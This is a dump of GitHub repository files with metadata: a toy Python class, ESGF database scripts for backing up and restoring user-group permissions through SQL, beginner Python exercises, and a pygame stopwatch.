"alpha_fraction": 0.6187050342559814,
"alphanum_fraction": 0.6187050342559814,
"avg_line_length": 20.30769157409668,
"blob_id": "939d5ccc7bd4878f051a79b8f3bbf5282f9b8b11",
"content_id": "f58e84a672c1f14f13ddc3c8296e83dd05476c76",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 278,
"license_type": "no_license",
"max_line_length": 43,
"num_lines": 13,
"path": "/pre_day2/ppap.py",
"repo_name": "corgibrother/fcwps",
"src_encoding": "UTF-8",
"text": "class Ppap:\n def __init__(self):\n self.result = \"pen\"\n\n def pen_adder(self, param):\n self.result += param\n return self.result\n\npineapple_pen = Ppap()\napple_pen = Ppap()\n\nprint(pineapple_pen.pen_adder(\"pineapple\"))\nprint(apple_pen.pen_adder(\"apple\"))\n\n"
}
] | 12 |
pchengi/esgf-group-migrator | https://github.com/pchengi/esgf-group-migrator | e282cd4e90286371321db41cc3d4d225f2d89468 | d27e7dfb85aa45b88cfb76764708ad3198e3786e | 21ddc717a4afc5e3b456496ce8796de120c4525a | refs/heads/master | 2021-01-01T05:30:48.152162 | 2013-10-16T17:41:12 | 2013-10-16T17:41:12 | null | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.6360708475112915,
"alphanum_fraction": 0.6618357300758362,
"avg_line_length": 22.433961868286133,
"blob_id": "4ce233374ea068e4dc7771a480bfb09186efa90c",
"content_id": "828389c9a99f5e24e44c948120b41c2b417f83f3",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1242,
"license_type": "no_license",
"max_line_length": 216,
"num_lines": 53,
"path": "/prepingestion.py",
"repo_name": "pchengi/esgf-group-migrator",
"src_encoding": "UTF-8",
"text": "#!/usr/bin/python\n\nimport os,sys\n\ntry:\n\tdstgroup=sys.argv[1]\n\tdstrole=sys.argv[2]\n\tfname=sys.argv[3]\nexcept:\n\tsys.exit(-1)\n\nfname2='restoreusers.sql'\nfname3='restoreperms.sql'\n\ntry:\n\tfp=open(fname)\n\tfp2=open(fname2,'w')\n\tfp3=open(fname3,'w')\nexcept:\n\tprint \"Couldn't open file. Urk!\";\n\tsys.exit(-1)\n\nlines=fp.readlines()\nfp.close()\nfor line in lines:\n\tfields=line.split(',')\n\tnumfields=16\n\topenid=''\n\tmystr='insert into esgf_security.user (firstname,middlename,lastname,email,username,password,dn,openid,organization,organization_type,city,state,country,status_code,verification_token,notification_code) values ('\t\n\tfor i in range (0,16):\n\t\tif i == 7:\n\t\t\topenid=fields[i]\n\t\tif i != 13 and i != 15:\n\t\t\tif fields[i] == '\\\"\\\"':\n\t\t\t\tfields[i] ='\\'\\''\n\t\t\tif not fields[i].startswith('\\''):\n\t\t\t\tmfield='\\''+fields[i]+'\\''\n\t\t\telse:\n\t\t\t\tmfield=fields[i]\n\t\telse:\t\n\t\t\tmfield=fields[i]\n\t\tmystr+=mfield\n\t\tif i != 15:\n\t\t\tmystr+=','\n\tmystr=mystr.split('\\n')[0]\n\tmystr+=');\\n'\n\tmystr2='insert into esgf_security.permission (user_id,group_id,role_id,approved) values ((select id from esgf_security.user where openid=\\''\n\tmystr2+=openid+'\\'),'\n\tmystr2+=str(dstgroup)+','+str(dstrole)+',true);\\n'\n\tfp2.write(mystr)\n\tfp3.write(mystr2)\nfp2.close()\nfp3.close()\n"
},
{
"alpha_fraction": 0.6666666865348816,
"alphanum_fraction": 0.6827309131622314,
"avg_line_length": 22.714284896850586,
"blob_id": "e0b9b89f52cf6a0669a68e93e17fe7b1d95a1185",
"content_id": "001669cb6c62672042ac8ca54a55b7c47166dc97",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 498,
"license_type": "no_license",
"max_line_length": 88,
"num_lines": 21,
"path": "/restore.sh",
"repo_name": "pchengi/esgf-group-migrator",
"src_encoding": "UTF-8",
"text": "#!/bin/bash\n\nenv|grep PGPATH >/dev/null\n\nif [ $? -eq 1 ]; then\n\techo \"Please export the Postgres home with PGPATH, ex: export PGPATH=/usr/local/pgsql\";\n\texit -1;\nfi\nPGPATH=`env|grep PGPATH|cut -d'=' -f2`\nPSQL=$PGPATH/bin/psql\n\nif [ $# -lt 3 ]; then\n\techo \"Please provide target group id, role id for 'user' role and input filename\";\n\texit -1;\nfi\n\n\npython prepingestion.py $1 $2 $3\n\n$PSQL -d esgcet -U dbsuper -f restoreusers.sql >/dev/null\n$PSQL -d esgcet -U dbsuper -f restoreperms.sql >/dev/null\n"
},
{
"alpha_fraction": 0.7203907370567322,
"alphanum_fraction": 0.7289377450942993,
"avg_line_length": 28.25,
"blob_id": "d2b5d6bf5f2f5cd4e0a17b49e95e77f59e503826",
"content_id": "32ac280d99d9bdc9ba3bab4627ab5bde165eb928",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Shell",
"length_bytes": 819,
"license_type": "no_license",
"max_line_length": 118,
"num_lines": 28,
"path": "/backup.sh",
"repo_name": "pchengi/esgf-group-migrator",
"src_encoding": "UTF-8",
"text": "#!/bin/bash\n\nenv|grep PGPATH >/dev/null\n\nif [ $? -eq 1 ]; then\n\techo \"Please export the Postgres home with PGPATH, ex: export PGPATH=/usr/local/pgsql\";\n\texit -1;\nfi\nPGPATH=`env|grep PGPATH|cut -d'=' -f2`\n\nif [ $# -lt 2 ]; then\n\techo \"Please provide source groupid and output file name (without path)\";\n\texit -1;\nfi\n\n\nPSQL=$PGPATH/bin/psql\n\nsourcegroupid=$1\noutputfile=$2\n\necho \"copy(select firstname,middlename,lastname,email,username,password,dn,openid,\\\norganization, organization_type,city,state,country,status_code,verification_token,\\\nnotification_code from esgf_security.user u, esgf_security.permission p where \\\np.group_id=$sourcegroupid and p.approved = 't' and u.id = p.user_id) to '/tmp/$outputfile' with csv;\" >getuserdata.sql\n\n$PSQL -d esgcet -U dbsuper -f getuserdata.sql >/dev/null\nmv /tmp/$outputfile .\n"
}
] | 3 |
nagu3693/myrepo | https://github.com/nagu3693/myrepo | e2620a162f547ac158081f75152a41d8e724aba0 | 760577f8a545caca39d4055e44eb3b06c3e05825 | e3b8cd11cb7db838e8dc87b34348b1a76ea2f573 | refs/heads/master | 2021-07-07T14:43:25.388903 | 2021-04-02T20:54:34 | 2021-04-02T20:54:34 | 232,618,511 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.510869562625885,
"alphanum_fraction": 0.5597826242446899,
"avg_line_length": 22,
"blob_id": "dffe562b65f87f184e5c9f378efb627f4e4f968a",
"content_id": "93fe804170f36b202e9af792676a4baf28ecc541",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 184,
"license_type": "no_license",
"max_line_length": 55,
"num_lines": 8,
"path": "/python_scripts/sample_while_scripts/sample_while_condition_statment.py",
"repo_name": "nagu3693/myrepo",
"src_encoding": "UTF-8",
"text": "#!/usr/local/bin/python3.6\ncount = 0\nwhile count < 10:\n if count % 2 == 0:\n count += 1\n continue\n print(f\" we are counting the odd numbers: {count}\")\n count +=1\n"
},
{
"alpha_fraction": 0.6813031435012817,
"alphanum_fraction": 0.6869688630104065,
"avg_line_length": 19.171428680419922,
"blob_id": "e55e0c99e65f800648967f04948a4779fd6deb49",
"content_id": "bc9b76b705e5489ac1464620cf7eddb68f166064",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 706,
"license_type": "no_license",
"max_line_length": 132,
"num_lines": 35,
"path": "/python_scripts/interacting_with_files/interactingg_with_files.py",
"repo_name": "nagu3693/myrepo",
"src_encoding": "UTF-8",
"text": "#!/usr/local/bin/python3.6\n\"\"\"\nThis wll open the file\n\"\"\"\nxmen_file= open('xmen_base.txt')\n\n\"\"\"\nThis below read command will show the contents of the file that is store in xmen_file\n\"\"\"\n\nxmen_file.read()\n\n\"\"\"\nseek is going to position the read pointe to top of the file when value is 0 and alters the posistion base on input provide by user\n\"\"\"\n\nxmen_file.seek(0)\n\n\"\"\"\nTo know the file name assigned to xmen_file\n\"\"\"\nxmen_file.name\n\n\"\"\"\nwrite a file by truncating the content of file or creating a new file with w option\n\"\"\"\n\nnew_file = open('new_file.txt', 'w')\n\n\"\"\"\nwrite and close a file by adding content by appending it\n\"\"\"\n\nwith open('new_file.txt', 'a') as f:\n f.write(\"Professor Xavier\\n\")\n"
},
{
"alpha_fraction": 0.6037735939025879,
"alphanum_fraction": 0.6226415038108826,
"avg_line_length": 25.5,
"blob_id": "2e2390d765170d46614b7933418a13dc7fc0ea30",
"content_id": "3134428e754bf10af7b72c59f28fc649743f87e1",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 106,
"license_type": "no_license",
"max_line_length": 40,
"num_lines": 4,
"path": "/python_scripts/sample_for_scripts/sample_for_basic.py",
"repo_name": "nagu3693/myrepo",
"src_encoding": "UTF-8",
"text": "#!/usr/local/bin/python3.6\ncolors = ['blu', 'gre', 'red', 'purple']\nfor color in colors:\n print(color)\n"
},
{
"alpha_fraction": 0.6906077265739441,
"alphanum_fraction": 0.7016574740409851,
"avg_line_length": 44.25,
"blob_id": "5891dbe7f328393640736472f0850c1b9beb8408",
"content_id": "8c3b2ff4960afcc586f973b0615fda2b490673bd",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 181,
"license_type": "no_license",
"max_line_length": 60,
"num_lines": 4,
"path": "/python_scripts/reading_user_input/sample_read_input_basic.py",
"repo_name": "nagu3693/myrepo",
"src_encoding": "UTF-8",
"text": "#!/usr/local/bin/python3.6\nfirstname = input(\"What is your first name ? \")\nlastname = input(\"What is your last name ?\")\nprint(f\" first name is {firstname} lastname is {lastname}\")\n"
},
{
"alpha_fraction": 0.5039370059967041,
"alphanum_fraction": 0.5748031735420227,
"avg_line_length": 20.16666603088379,
"blob_id": "0e18a716df706ebe9d227933dc669577cfc0954b",
"content_id": "7f03882aca56082d8c4995444214ea4b1d9a6b2b",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 127,
"license_type": "no_license",
"max_line_length": 33,
"num_lines": 6,
"path": "/python_scripts/condition.py",
"repo_name": "nagu3693/myrepo",
"src_encoding": "UTF-8",
"text": "#!/usr/local/bin/python3.6\nif 2 in [1,3,4,5]:\n print('2 is in the list')\nelse:\n print('2 is not in the list')\n exit()\n"
},
{
"alpha_fraction": 0.483091801404953,
"alphanum_fraction": 0.49275362491607666,
"avg_line_length": 24.75,
"blob_id": "8bc9cd9af039349ca13e7fb65a0f36b4bc037af7",
"content_id": "de4926ad800b02121e9e37cfab15b7b49a40aa03",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 207,
"license_type": "no_license",
"max_line_length": 40,
"num_lines": 8,
"path": "/python_scripts/sample_for_scripts/sample_for_loop_comparision.py",
"repo_name": "nagu3693/myrepo",
"src_encoding": "UTF-8",
"text": "#!/usr/local/bin/python3.6\ncolors = ['blu', 'gre', 'red', 'purple']\nfor color in colors:\n if color == 'blue':\n continue\n elif color == 'gre':\n break\n print(color)\n\n"
},
{
"alpha_fraction": 0.6666666865348816,
"alphanum_fraction": 0.6868686676025391,
"avg_line_length": 32,
"blob_id": "1936c18a21f39b30f0e4e64abe20b93aca71659c",
"content_id": "b181ab4447ac542d9f60b82b42195f79012dd4bb",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 99,
"license_type": "no_license",
"max_line_length": 61,
"num_lines": 3,
"path": "/python_scripts/sample_if_scripts/if_false_basic_print.py",
"repo_name": "nagu3693/myrepo",
"src_encoding": "UTF-8",
"text": "#!/usr/local/bin/python3.6\nif False:\n print('nothing to show as the statement doesnot run')\n"
},
{
"alpha_fraction": 0.6190009713172913,
"alphanum_fraction": 0.6258569955825806,
"avg_line_length": 36.814815521240234,
"blob_id": "bf9ecca7f754c622dca8f52de9ab491661f66212",
"content_id": "c413d5ad8e13c930ba18c5fb4f1fe2ab6dde2585",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 1021,
"license_type": "no_license",
"max_line_length": 87,
"num_lines": 27,
"path": "/python_scripts/functions_scripts/bmi_functions_basic.py",
"repo_name": "nagu3693/myrepo",
"src_encoding": "UTF-8",
"text": "#!/usr/local/bin/python3.6\ndef gather_info():\n height = float(input(\" What is your height? (inches or meters) \"))\n weight = float(input(\" what is your wieght? (pounds or kilograms)\"))\n system = input(\"Are your measurment in metric or imperial units? \").lower().strip()\n return (height,weight,system)\ndef caliculate_bmi(weight,height,system='metric'):\n \"\"\"\n Return the Body Mass Index (BMI) for the given wirght height and mesurment system\n \"\"\"\n if system == 'metric':\n bmi = (weight/(height ** 2))\n else:\n bmi = 703 * (weight/(height ** 2))\n return bmi\nwhile True:\n height,weight,system = gather_info()\n if system.startswith('i'):\n bmi = caliculate_bmi(weight, system=system, height=height)\n print(f\"your BMI is {bmi}\")\n break\n elif system.startswith('m'):\n bmi = caliculate_bmi(weight, height)\n print(f\" Your BMI is {bmi}\")\n break\n else:\n print(\"Erroe: Unkown measurment system. Please use imperial or metrics\")\n"
},
{
"alpha_fraction": 0.6133333444595337,
"alphanum_fraction": 0.6399999856948853,
"avg_line_length": 24,
"blob_id": "008fb0b4517349aeb6904dcb862b823c41c31ac7",
"content_id": "7aeb1b32a5faa5e52f0e182410ac705bd4fdaa75",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 75,
"license_type": "no_license",
"max_line_length": 38,
"num_lines": 3,
"path": "/python_scripts/sample_if_scripts/if_true_basic.py",
"repo_name": "nagu3693/myrepo",
"src_encoding": "UTF-8",
"text": "#!/usr/local/bin/python3.6\nif True:\n print('the script is working')\n"
},
{
"alpha_fraction": 0.6632996797561646,
"alphanum_fraction": 0.6902356743812561,
"avg_line_length": 36.125,
"blob_id": "706dafd419c18fa028731197f32f49c20a018afa",
"content_id": "38c94f8600e585ee49a52f9acb35f81b3921a11d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 297,
"license_type": "no_license",
"max_line_length": 46,
"num_lines": 8,
"path": "/python_scripts/Parsing_Command_Line_Parameters/param_echo.py",
"repo_name": "nagu3693/myrepo",
"src_encoding": "UTF-8",
"text": "#!/usr/local/bin/python3.6\nimport sys\n#print(f\"Posistional argument {sys.argv[1:]}\")\n#print(f\"First argument: {sys.argv[1]}\")\n#print(f\"Second argument: {sys.argv[2]}\")\nprint(f\"Posistional parmeter: {sys.argv[1:]}\")\nprint(f\"First parmeter: {sys.argv[1]}\")\nprint(f\"Second parameter: {sys.argv[3]}\")\n"
},
{
"alpha_fraction": 0.7172236442565918,
"alphanum_fraction": 0.7223650217056274,
"avg_line_length": 37.900001525878906,
"blob_id": "4cc1e700db1b9c3970425368f9864534b24cd8df",
"content_id": "770cc034ca507411663faec084d1ed7f594bf046",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 389,
"license_type": "no_license",
"max_line_length": 56,
"num_lines": 10,
"path": "/python_scripts/using_standard_library/importing_time_module_basic.py",
"repo_name": "nagu3693/myrepo",
"src_encoding": "UTF-8",
"text": "#!/usr/local/bin/python3.6\nfrom time import localtime,strftime,mktime\nstart_time = localtime()\nprint(f\" Timer started at {strftime('%X',start_time)}\")\n# Wait for user to stop timer\ninput(\"Press enter key to stop timer\")\nstop_time = localtime()\ndifference = mktime(stop_time) - mktime(start_time)\nprint(f\" Timer started at {strftime('%X',stop_time)}\")\nprint(f\" Total time: {difference}\")\n"
},
{
"alpha_fraction": 0.5279502868652344,
"alphanum_fraction": 0.5776397585868835,
"avg_line_length": 22,
"blob_id": "51e999e86de4d2a0dbba8e2db3ec7c6845359af5",
"content_id": "e0af4679bfd226f6ab03bb384ecb8f09b7de0779",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 161,
"license_type": "no_license",
"max_line_length": 54,
"num_lines": 7,
"path": "/python_scripts/sample_while_scripts/sample_while_break_staement.py",
"repo_name": "nagu3693/myrepo",
"src_encoding": "UTF-8",
"text": "#!/usr/local/bin/python3.6\ncount = 1\nwhile count < 10:\n if count % 2 == 0:\n break\n print(f\" we are printing the odd numebr: {count}\")\n count +=1\n"
},
{
"alpha_fraction": 0.6435185074806213,
"alphanum_fraction": 0.6666666865348816,
"avg_line_length": 29.85714340209961,
"blob_id": "180d668570b909ee45304bd00908220750ef191c",
"content_id": "c91d2629cf1a5053c040059c075f5102d2537fb5",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 216,
"license_type": "no_license",
"max_line_length": 62,
"num_lines": 7,
"path": "/python_scripts/varaible.py",
"repo_name": "nagu3693/myrepo",
"src_encoding": "UTF-8",
"text": "#!/usr/local/bin/python3.6\nfirst_name = \"nagaraju\"\nlast_name = \"gokaraju\"\nage = 35\nbirth_date = \"March 4th\"\nprint(\"My name is\",first_name,last_name,\".\")\nprint(\"I was born on\",birth_date,\", and I'm\",age,\"years old.\")\n"
},
{
"alpha_fraction": 0.6517857313156128,
"alphanum_fraction": 0.6696428656578064,
"avg_line_length": 21.399999618530273,
"blob_id": "22583593521ac9f073fed032b08d510a286c683b",
"content_id": "e39f0817d9e73475a8e28c1811aaa2b9da73672a",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 112,
"license_type": "no_license",
"max_line_length": 34,
"num_lines": 5,
"path": "/python_scripts/sample_if_scripts/if_else_print_basic.py",
"repo_name": "nagu3693/myrepo",
"src_encoding": "UTF-8",
"text": "#!/usr/local/bin/python3.6\nif False:\n print('the statment is true')\nelse:\n print('the statment is false')\n"
},
{
"alpha_fraction": 0.6285714507102966,
"alphanum_fraction": 0.6476190686225891,
"avg_line_length": 25.25,
"blob_id": "394b271fd22f5da431602d21d1756454ac564915",
"content_id": "2b93a0b85a8414b4fee06c20b6cae5e37fb4976e",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 105,
"license_type": "no_license",
"max_line_length": 32,
"num_lines": 4,
"path": "/python_scripts/functions_scripts/sample_functions_basic.py",
"repo_name": "nagu3693/myrepo",
"src_encoding": "UTF-8",
"text": "#!/usr/local/bin/python3.6\ndef print_name(name):\n print(f\"name is {name}\")\nprint_name(\"nagaraju\")\n"
},
{
"alpha_fraction": 0.5081967115402222,
"alphanum_fraction": 0.5573770403862,
"avg_line_length": 21.625,
"blob_id": "65d5cea24bbd8fd6f66fe9de0afdfaa69c94ed88",
"content_id": "a29374ab7ac7f895b5f7cf245549433a639ebd79",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 183,
"license_type": "no_license",
"max_line_length": 53,
"num_lines": 8,
"path": "/python_scripts/count_even_numbers.py",
"repo_name": "nagu3693/myrepo",
"src_encoding": "UTF-8",
"text": "#!/usr/local/bin/python3.6\ncount=0\nwhile count < 40:\n if count % 2 != 0:\n count += 1\n continue\n print(f\"We're printing the even number: {count}\")\n count += 2\n\n\n"
},
{
"alpha_fraction": 0.6323529481887817,
"alphanum_fraction": 0.6617646813392639,
"avg_line_length": 21.66666603088379,
"blob_id": "32229989feae853190fe6fb9a35afac8019c8c80",
"content_id": "d92581f4780aa7f1d75a8976cd04dddf165d787f",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 68,
"license_type": "no_license",
"max_line_length": 28,
"num_lines": 3,
"path": "/python_scripts/sample_while_scripts/sample_while_basic.py",
"repo_name": "nagu3693/myrepo",
"src_encoding": "UTF-8",
"text": "#!/usr/local/bin/python3.6\nwhile True:\n print('my name is raju')\n"
},
{
"alpha_fraction": 0.5195530652999878,
"alphanum_fraction": 0.5698323845863342,
"avg_line_length": 21.375,
"blob_id": "1c680ae81c2b11225593fbd0602cadabab251c9d",
"content_id": "2ca7a4d8da6574b65e715861fffba5930f2f0dc7",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 179,
"license_type": "no_license",
"max_line_length": 53,
"num_lines": 8,
"path": "/python_scripts/count_odd_numbers.py",
"repo_name": "nagu3693/myrepo",
"src_encoding": "UTF-8",
"text": "#!/usr/local/bin/python3.6\ncount=0\nwhile count < 10:\n if count % 2 == 0:\n count +=1\n continue\n print(f\"We're counting the odd numbers: {count}\")\n count +=1\n"
},
{
"alpha_fraction": 0.640350878238678,
"alphanum_fraction": 0.6535087823867798,
"avg_line_length": 37,
"blob_id": "10c089ae517f634c37a0d524820c86c774bb9cbd",
"content_id": "15192692a3fdb7719e0e6e51dc70afab461266b4",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 228,
"license_type": "no_license",
"max_line_length": 44,
"num_lines": 6,
"path": "/python_scripts/reading_user_input/input_age.py",
"repo_name": "nagu3693/myrepo",
"src_encoding": "UTF-8",
"text": "#!/usr/local/bin/python3.6\nname = input(\"What is your name ? \")\nbirthdat = input(\"What is your birthdate? \")\nage = int(input(\"How old are you? \"))\nprint(f\"{name} was born on {birthdat}\")\nprint(f\"Half of your age is {age / 2}\")\n"
},
{
"alpha_fraction": 0.5690608024597168,
"alphanum_fraction": 0.580110490322113,
"avg_line_length": 21.625,
"blob_id": "c05382eef426c7ecc433af0f6e776ae11702ede4",
"content_id": "01bd0800885797247cdf3c4d72eca08c54407a9d",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 181,
"license_type": "no_license",
"max_line_length": 38,
"num_lines": 8,
"path": "/python_scripts/forloop.py",
"repo_name": "nagu3693/myrepo",
"src_encoding": "UTF-8",
"text": "#!/usr/local/bin/python3.6\ncolors=['red','blue','green','yellow']\nfor color in colors:\n if color == 'red':\n continue\n elif color == 'blue':\n break\n print(color)\n"
},
{
"alpha_fraction": 0.6487603187561035,
"alphanum_fraction": 0.6570248007774353,
"avg_line_length": 25.88888931274414,
"blob_id": "cef47eb192007cd61d8e69fede8206b2d2994d5c",
"content_id": "8f86f2374ad139df7020f5e131eac3bc6f1c722c",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 242,
"license_type": "no_license",
"max_line_length": 48,
"num_lines": 9,
"path": "/python_scripts/working_with_environment_variables/working_with_variables.py",
"repo_name": "nagu3693/myrepo",
"src_encoding": "UTF-8",
"text": "#!/usr/local/bin/python3.6\nimport os\n#stage = os.environ[\"STAGE\"].upper()\nstage = os.getenv(\"STAGE\",default=\"dev\").upper()\noutput = f\"We are runnin in {stage}\"\nif stage.startswith(\"PROD\"):\n output = \"DANGER !!!! -\" + output\n\nprint(output)\n"
},
{
"alpha_fraction": 0.5444444417953491,
"alphanum_fraction": 0.6000000238418579,
"avg_line_length": 17,
"blob_id": "7197044b6edc61eaa363b8330d1c0ffe5837c03a",
"content_id": "517b138e80e914be84a8856118634c0f44d4f454",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 90,
"license_type": "no_license",
"max_line_length": 26,
"num_lines": 5,
"path": "/python_scripts/sample_while_scripts/sample_while_variable.py",
"repo_name": "nagu3693/myrepo",
"src_encoding": "UTF-8",
"text": "#!/usr/local/bin/python3.6\ncount = 1\nwhile count <= 4:\n print('looping')\n count +=1\n"
},
{
"alpha_fraction": 0.5769230723381042,
"alphanum_fraction": 0.6068376302719116,
"avg_line_length": 22.399999618530273,
"blob_id": "32fe73d1876765a631bdb70ceea67ec3f2b79ce9",
"content_id": "662c2bf5fc77ad01f78297402af3f3516bd98297",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 234,
"license_type": "no_license",
"max_line_length": 34,
"num_lines": 10,
"path": "/python_scripts/sample_if_scripts/check_variable_length.py",
"repo_name": "nagu3693/myrepo",
"src_encoding": "UTF-8",
"text": "#!/usr/local/bin/python3.6\nname = 'ke'\nif len(name) >= 6:\n print('the string is long')\nelif len(name) >= 5:\n print('the string is 5 words')\nelif len(name) >= 4:\n print('the sting is 4 words')\nelse:\n print('name is short')\n"
},
{
"alpha_fraction": 0.6818181872367859,
"alphanum_fraction": 0.7121211886405945,
"avg_line_length": 32,
"blob_id": "de5fc19c8a820f0273c1ffb785c1649c6e548888",
"content_id": "9a241d17c750a55adc26a214f93c8729cb5c1bdc",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 66,
"license_type": "no_license",
"max_line_length": 38,
"num_lines": 2,
"path": "/python_scripts/hello.py",
"repo_name": "nagu3693/myrepo",
"src_encoding": "UTF-8",
"text": "#!/usr/local/bin/python3.6\nprint(\"Hello, World\") # printing hello\n"
}
] | 24 |
greyfrog/StopTimer | https://github.com/greyfrog/StopTimer | 6a24d937bca7bdbb6c1c929eb3cb83c0b88d74d2 | d752fd94adca2f87193e002a9ce968517a4b454a | 5bbe593d625d9e828b3341f270ee1fd180710a1f | refs/heads/main | 2023-05-14T19:04:21.541121 | 2021-06-06T17:19:46 | 2021-06-06T17:19:46 | 352,800,952 | 0 | 0 | null | null | null | null | null | [
{
"alpha_fraction": 0.5250083804130554,
"alphanum_fraction": 0.6488754749298096,
"avg_line_length": 26.12264060974121,
"blob_id": "d099b8da7058c855cb8d32af1641e8abf8d3e740",
"content_id": "06856ff574cd6fc1ac8798a6ce7dbc47a261e392",
"detected_licenses": [],
"is_generated": false,
"is_vendor": false,
"language": "Python",
"length_bytes": 2979,
"license_type": "no_license",
"max_line_length": 72,
"num_lines": 106,
"path": "/a.py",
"repo_name": "greyfrog/StopTimer",
"src_encoding": "UTF-8",
"text": "import pygame\r\nimport time\r\nimport math\r\npygame.init()\r\nscreen =pygame.display.set_mode((500,600))\r\nGREY=(52, 180, 235)\r\nWHITE= (255,255,255)\r\nBLACK=(0,0,0)\r\nRED=(173, 0, 38)\r\nBLUE=(17, 104, 245)\r\nrunning=True\r\nfont=pygame.font.SysFont('sans',50)\r\ntext_1=font.render('+',True,BLACK)\r\ntext_2=font.render('-',True,BLACK)\r\ntext_3=font.render('+',True,BLACK)\r\ntext_4=font.render('-',True,BLACK)\r\ntext_5=font.render('Start',True,BLACK)\r\ntext_6=font.render('Reset',True,BLACK)\r\ntext_7=font.render('StopTimer', True,RED)\r\ntotal_secs=0\r\nstart=False\r\ntotal=0\r\nwhile running:\r\n screen.fill(GREY)\r\n mouse_x,mouse_y=pygame.mouse.get_pos()\r\n \r\n pygame.draw.rect(screen,WHITE,(100,50,50,50)) #box1\r\n pygame.draw.rect(screen,WHITE,(100,200,50,50)) #box2\r\n pygame.draw.rect(screen,WHITE,(200,50,50,50)) #box3\r\n pygame.draw.rect(screen,WHITE,(200,200,50,50)) #box4\r\n pygame.draw.rect(screen,WHITE,(300,50,150,50)) #box5\r\n pygame.draw.rect(screen,WHITE,(300,200,150,50)) #box6\r\n\r\n screen.blit(text_1,(100,50))\r\n screen.blit(text_2,(100,200))\r\n screen.blit(text_3,(200,50))\r\n screen.blit(text_4,(200,200))\r\n screen.blit(text_5,(300,50))\r\n screen.blit(text_6,(300,200))\r\n\r\n\r\n pygame.draw.rect(screen,BLACK,(50,520,400,70))\r\n pygame.draw.rect(screen,WHITE,(60,530,380,50))\r\n screen.blit(text_7,(145,525))\r\n\r\n pygame.draw.circle(screen,BLACK,(250,400),100)\r\n pygame.draw.circle(screen,WHITE,(250,400),95)\r\n pygame.draw.circle(screen,WHITE,(250,400),95)\r\n\r\n # pygame.draw.line(screen,BLACK,(250,400),(250,310))\r\n for event in pygame.event.get():\r\n \tif event.type==pygame.QUIT:\r\n\r\n \t\trunning=False\r\n\r\n \tif event.type==pygame.MOUSEBUTTONDOWN:\r\n \t\tif event.button==1:\r\n \t\t\tif (100<mouse_x<150) and (50<mouse_y<100):\r\n \t\t\t\tprint(\"press + min\")\r\n \t\t\t\ttotal_secs+=60\r\n \t\t\tif (200<mouse_x<250) and (50<mouse_y<100):\r\n \t\t\t\tprint(\"press + second\")\r\n \t\t\t\ttotal_secs+=1\r\n \t\t\tif (100<mouse_x<150) and (200<mouse_y<250):\r\n \t\t\t\tprint(\"press - min\")\r\n \t\t\t\ttotal_secs-=60\r\n \t\t\tif (200<mouse_x<250) and (200<mouse_y<250):\r\n \t\t\t\tprint(\"press - second\")\r\n \t\t\t\ttotal_secs-=1\r\n \t\t\tif (300<mouse_x<450) and (50<mouse_y<100):\r\n \t\t\t\tstart=True\r\n \t\t\t\tprint(\"press Start\")\r\n \t\t\tif (300<mouse_x<450) and (200<mouse_y<250):\r\n \t\t\t\ttotal_secs=0\r\n \t\t\t\tstart=False\r\n\r\n \t\t\t\tprint(\"press Reset\")\r\n if start:\r\n \tif total_secs>0 :\r\n \t total_secs-=1\r\n \t time.sleep(1)\r\n \telif total_secs==0:\r\n \t\tstart=False\r\n\r\n mins=int(total_secs/60)\r\n secs=total_secs-mins*60\r\n print(secs)\r\n print(mins)\r\n time_now=str(mins)+ \":\"+str(secs)\r\n text_time=font.render(time_now,True,BLACK)\r\n screen.blit(text_time,(120,120))\r\n\r\n x_sec = 250+90*math.sin(6*secs*math.pi/180)\r\n y_sec = 400-90*math.cos(6*secs*math.pi/180)\r\n pygame.draw.line(screen,RED,(250,400),(x_sec,y_sec))\r\n\r\n x_min = 250+40*math.sin(6*mins*math.pi/180)\r\n y_min = 400-40*math.cos(6*mins*math.pi/180)\r\n pygame.draw.line(screen,BLUE,(250,400),(x_min,y_min))\r\n\r\n # if total!=0:\r\n # \tpygame.draw.rect(screen,RED,(60,530,int(380*(total_secs/total)),30))\r\n\r\n\r\n 